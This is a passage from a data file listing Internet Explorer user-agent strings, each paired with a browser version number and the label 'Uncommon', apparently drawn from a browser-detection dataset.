AskTbARS/5.8.0.12304),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; SLCC2; Media Center PC 6.0),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729),10,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MAMI),9,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;FRBE),9,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru),6,Uncommon\nMozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US),7,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MAM3; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; InfoPath.3),11,Uncommon\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 925) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; Windows NT 5.1; (R1 1.5); .NET CLR 2.0.50727; InfoPath.1),7,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; InfoPath.3; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3),,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0; BOIE9;ENUSMSE),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; ASJB; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; ASJB; ASJB; MAAU),9,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; NP07; NP07),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C),9,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Creative),6,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP08; NP08; MAAU),9,Uncommon\nMozilla/5.0 (Windows NT 6.2; Win64; x64; Trident/7.0; LCTE; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; InfoPath.3),11,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MATBJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BO1IE8_v1;ENUS),9,Uncommon\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1;),8,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; BOIE9;ENUS; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (MSIE 9.0; Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 430 Dual SIM) like Gecko,11,Uncommon\nMozilla/5.0 (X11; U; CrOS i686 0.13.507; Trident/7.0; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB7.5; .NET CLR 2.0.50727; eSobiSubscriber 2.0.4.16; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; AskTbOVO2/5.13.1.18107; BRI/2),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; 79981903; feed/7.1.08050),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident/7.0; Touch; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0; HPDTDFJS; IPH 1.1.21.4019),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C; Tablet PC 2.0; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF; BRI/1; .NET4.0C; AskTbORJ/5.14.1.20007; BRI/2),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; BRI/2; MAGW; InfoPath.2),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.0;.NET CLR 1.0.3705; ContextAd Bot 1.0),9,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727),6,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; McAfee; MALNJS),10,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; QwestIE8x64),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),9,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; msn OptimizedIE8;ENCA),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C),8,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MALCJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0(compatible;MSIE 7.0;Windows NT 6.1;SV1;.NET CLR 1.0.3705;.NET CLR 3.0.30618),7,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MATMJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 630) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.0.4506.2152; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.5.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Alexa Toolbar; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.3; Alexa Toolbar),8,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB7.4; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727; AskTbORJ/5.15.15.36191),6,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; MS-RTC LM 8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),7,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.4506.2152),8,Uncommon\nMozilla/5.0 (Windows NT 10.0; Trident/7.0; LCTE; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; ATT-IE11; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; atyinst(ihp)),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322; MS-RTC LM 8),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; EIE10;ENUSWOL),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDF),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; chromeframe/30.0.1599.101; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MDDR; .NET4.0C; .NET4.0E; BRI/2; yie8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; BRI/2; Tablet PC 2.0; MDDRJS),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0E; Media Center PC 6.0; MASA; AskTbFWV5/5.14.1.20007; .NET4.0C; BRI/2),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; FunWebProducts; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; BRI/1; MAEM; .NET4.0C; FunWebProducts; BRI/2),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; BRI/1; AskTbORJ/5.15.15.36191),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Creative AutoUpdate v1.40.01; EIE10;ENUSWOL),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC S; MS-RTC LM 8; .NET CLR 1.1.4322),7,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 5.01; Windows 95; MSIECrawler),5,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; Touch; MAGWJS),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/5.0),9,Uncommon\nMozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; LCJB; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),7,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE),6,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MASEJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727),8,Uncommon\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; ASJB; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPDTDF; .NET4.0C; EIE10;ENUSWOL),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; MAGW; BRI/2),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; BTRS124307; SIMBAR={6C7A3AB7-4E15-41DC-8F2D-B187A383F4FE}; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; BRI/1; playbrytetoolbar_Playbryte),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; BRI/2; EIE10;ENUSWOL),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; EIE10;ENGBWOL),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; GTB7.4; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; BrotherSoftSearchToolbar 1.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322; .NET CLR 3.5.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; MDDCJS),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET CLR 1.1.4322),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; LCJB),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729),7,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729),10,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0E; .NET4.0C),11,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MATMJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0; BOIE9;ENCA),9,Uncommon\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 640 XL LTE) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;FIFI; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),6,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E;WUID=B8B39C06CD6D44F2A5F7840B7CEBF63B;WTB=18116),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; chromeframe/31.0.1650.57; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MDDR; .NET4.0C; .NET4.0E; BRI/2; yie8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; BRI/2; MAEM; .NET4.0C),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbHKCIE/5.15.15.35882; BOIE8;ENUS),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E; Zune 4.7),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8; .NET CLR 3.0.30729),7,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENGB),9,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MASPJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3; Tablet PC 2.0),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; BRI/2),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET4.0C),8,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MASAJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 1.1.4322),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Shuame),9,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; OCSD),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CMDTDF; InfoPath.3; .NET4.0C; .NET4.0E; Tablet PC 2.0; BRI/2),8,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;NLBE; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QS 4.2.4.0; QS 5.3.0.4; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; QS 4.2.4.0; QS 5.3.0.4),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDS; AskTbORJ/5.15.25.36191; BOIE9;ENUS),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MDDC; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbOVO2/5.14.1.20007; BRI/2; yie8),8,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP06; FunWebProducts; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),8,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.6.01001),6,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.2),11,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0; GTB7.5) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP08; MAAU; NP08; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; MAAR),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; .NET4.0C),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; MATP; 